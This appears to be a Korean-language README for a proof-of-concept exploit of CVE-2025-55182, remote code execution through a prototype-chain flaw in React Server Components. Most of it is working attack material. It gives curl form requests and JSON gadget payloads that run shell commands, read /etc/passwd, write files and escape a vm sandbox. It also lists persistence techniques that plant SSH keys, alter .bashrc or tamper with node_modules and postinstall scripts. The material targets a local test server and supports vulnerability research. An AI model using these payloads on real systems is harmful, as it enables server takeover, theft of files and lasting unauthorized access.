
CVE-2025-55182에 대한 개념 증명 익스플로잇으로, React Server Components의 프로토타입 체인 취약점을 통한 원격 코드 실행을 시연합니다. 다수의 RCE 가젯 및 지속성 공격을 포함합니다.
이 POC는 실제 [email protected] 취약 코드를 사용하여 CVE-2025-55182를 시연합니다.
# Install dependencies
npm install
# Start vulnerable server (port 3002)
npm start
# Run RCE exploit
npm run exploit
=== CVE-2025-55182 - RCE via vm.runInThisContext ===
Test 1: Direct call to vm#runInThisContext with code
1+1 = {"success":true,"result":"2"}
Test 2: vm.runInThisContext with require
RCE attempt: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}
# Servers
npm start # Start main server (server-realistic.js, port 3002)
npm run start:legacy # Start legacy server (server.js, port 3002)
# Exploits
npm run exploit # RCE demo (uses vm, works with any: vm, child_process, fs)
npm run exploit:all # Test all gadgets
npm run exploit:persistence # Persistence attacks (fs-only)
# Start server first
npm start
# Test fs read
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'
# Test command execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'
# Test vm code execution
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_REF_0=' \
-F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'
# Test prototype chain access
curl -X POST http://localhost:3002/formaction \
-F '$ACTION_ID_abc123def456#constructor='
| File | Port | Description |
|---|---|---|
src/server-realistic.js | 3002 | 메인 서버 - 일반적인 모듈(fs, vm, child_process)이 포함된 webpack 번들을 시뮬레이션합니다 |
src/server.js | 3002 | 레거시 서버 (직접 require 사용) |
| File | Description |
|---|---|
exploit-rce-v4.js | 기본 RCE - vm#runInThisContext 사용 |
exploit-all-gadgets.js | 모든 RCE 가젯 테스트 (vm, child_process, fs) |
exploit-persistence.js | 지속성 공격 (SSH 키, .bashrc) |
실제 webpack 번들을 시뮬레이션하며, 앱이 종속성을 통해 위험한 모듈을 일반적으로 번들로 포함하는 방식을 보여줍니다:
// Bundled modules (what gets included when using common packages)
const BUNDLED_MODULES = {
'actions-chunk-123': { /* user's server actions */ },
'fs': require('fs'), // via fs-extra, gray-matter, multer
'child_process': require('child_process'), // via execa, shelljs, puppeteer
'vm': require('vm'), // via ejs, pug, handlebars
'util': require('util'),
};
__webpack_require__ 함수는 BUNDLED_MODULES에서만 모듈을 로드하여 실제 webpack 동작을 시뮬레이션합니다.
requireModule()에서 hasOwnProperty 검사 없이 대괄호 표기법으로 exports에 접근합니다:
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]]; // 프로토타입 체인에 접근!
// PATCHED (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
return moduleExports[metadata[2]];
$ACTION_REF_0 전송id: 'vm#runInThisContext'가 vm 모듈을 로드하고 runInThisContext export에 접근bound 배열이 함수의 인자가 됨runInThisContext(CODE)가 임의 코드 실행| Gadget | Status | Description |
|---|---|---|
vm#runInThisContext | ✓ | 현재 컨텍스트에서 임의의 JS 실행 |
vm#runInNewContext | ✓ | "샌드박스"에서 실행 (쉽게 탈출 가능) |
child_process#execSync | ✓ | 직접 셸 명령 실행 |
child_process#execFileSync | ✓ | 바이너리 파일 실행 |
child_process#spawnSync | ✓ | 프로세스 생성 (객체 반환) |
fs#readFileSync | ✓ | 임의 파일 읽기 |
fs#writeFileSync | ✓ | 임의 파일 쓰기 |
셸 명령 실행 (whoami):
{ id: 'child_process#execSync', bound: ['whoami'] }
민감한 파일 읽기:
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }
파일 디스크에 쓰기:
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }
임의 JavaScript 실행:
{
id: 'vm#runInThisContext',
bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}
샌드박스 탈출 (vm.runInNewContext):
{
id: 'vm#runInNewContext',
bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}
직접 RCE: 네, 다음 중 하나가 필요합니다:
vm 모듈 (runInThisContext, runInNewContext)child_process 모듈 (execSync, execFileSync, spawnSync)간접 RCE (fs만): 아니요! fs만 있으면 다음이 가능합니다:
~/.ssh/authorized_keys에 쓰기 → SSH 접근~/.bashrc에 추가 → 다음 로그인 시 코드 실행node_modules/* 덮어쓰기 → 앱 재시작 시 RCEpackage.json postinstall 수정 → 다음 npm install 시 RCE| Version | Attack | Result |
|---|---|---|
| React 19.0.0 | vm#runInThisContext | ✓ RCE 성공 |
| React 19.2.1 | vm#runInThisContext | ✗ 차단됨 |
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Attacks will fail
자세한 연구는 VULNERABLE-PACKAGES.md를 참조하세요. 위험한 모듈을 포함하는 인기 npm 패키지 목록입니다:
| Module | Weekly Downloads | Popular Packages |
|---|---|---|
fs | 145M+ | fs-extra, gray-matter, multer, sharp |
child_process | 103M+ | execa, shelljs, puppeteer, sharp |
vm | 21M+ | ejs, pug, handlebars, vm2 |